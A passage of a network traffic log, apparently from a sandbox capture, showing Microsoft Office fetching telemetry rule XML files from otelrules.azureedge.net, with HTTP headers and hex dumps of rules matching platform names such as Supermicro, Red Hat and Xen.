2024-11-05 09:13:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf74e669-f01e-001f-5b5f-2e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091330Z-157b9fd754frph49hC1SN1dtxw00000004bg000000002y3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49796	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 10bce229-001e-00a2-2560-2ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091330Z-157b9fd754fhlggqhC1SN1drew00000004d0000000001dc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49794	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9327b436-501e-00a3-4e5c-2ec0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091330Z-157b9fd754ft96xrhC1SN1efqn0000000470000000001ud8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49798	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 0b037635-501e-0016-6853-2e181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091330Z-157b9fd754f2v9cjhC1SN1cryn000000046g000000000kxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 776f9dcf-101e-008d-0d60-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091331Z-158dbd74bf48rfm8hC1SN12d1s0000000120000000001s83 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:31 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 423d25b5-301e-005d-1f4b-2ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091331Z-157b9fd754f2l2w5hC1SN1vs4g0000000440000000002se4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:31 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: a4b2601f-a01e-006f-5d5f-2e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091331Z-158dbd74bf4tfjlhhC1SN1m37400000003s0000000003ee4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49801	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 52079ed0-501e-0047-273b-2ece6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091331Z-158dbd74bf4tx46ghC1SN1t6pc00000003vg000000000aa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49804	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:31 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 03c1180a-901e-007b-2b6d-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091331Z-157b9fd754fkww8mhC1SN1eg400000000430000000004t6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49808	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:32 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:32 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 62c29a92-201e-003c-094f-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091332Z-158dbd74bf42s6brhC1SN1tbnn00000003tg0000000048uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:32 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49805	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:32 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:32 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c4c8fc32-f01e-0096-298e-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091332Z-158dbd74bf4hnrcphC1SN1f41800000003m0000000005hex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:32 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49806	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:32 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: ed27c552-101e-007a-705f-2e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091332Z-157b9fd754fnmqw2hC1SN10ngs000000049g000000003g02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:32 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49807	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:32 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
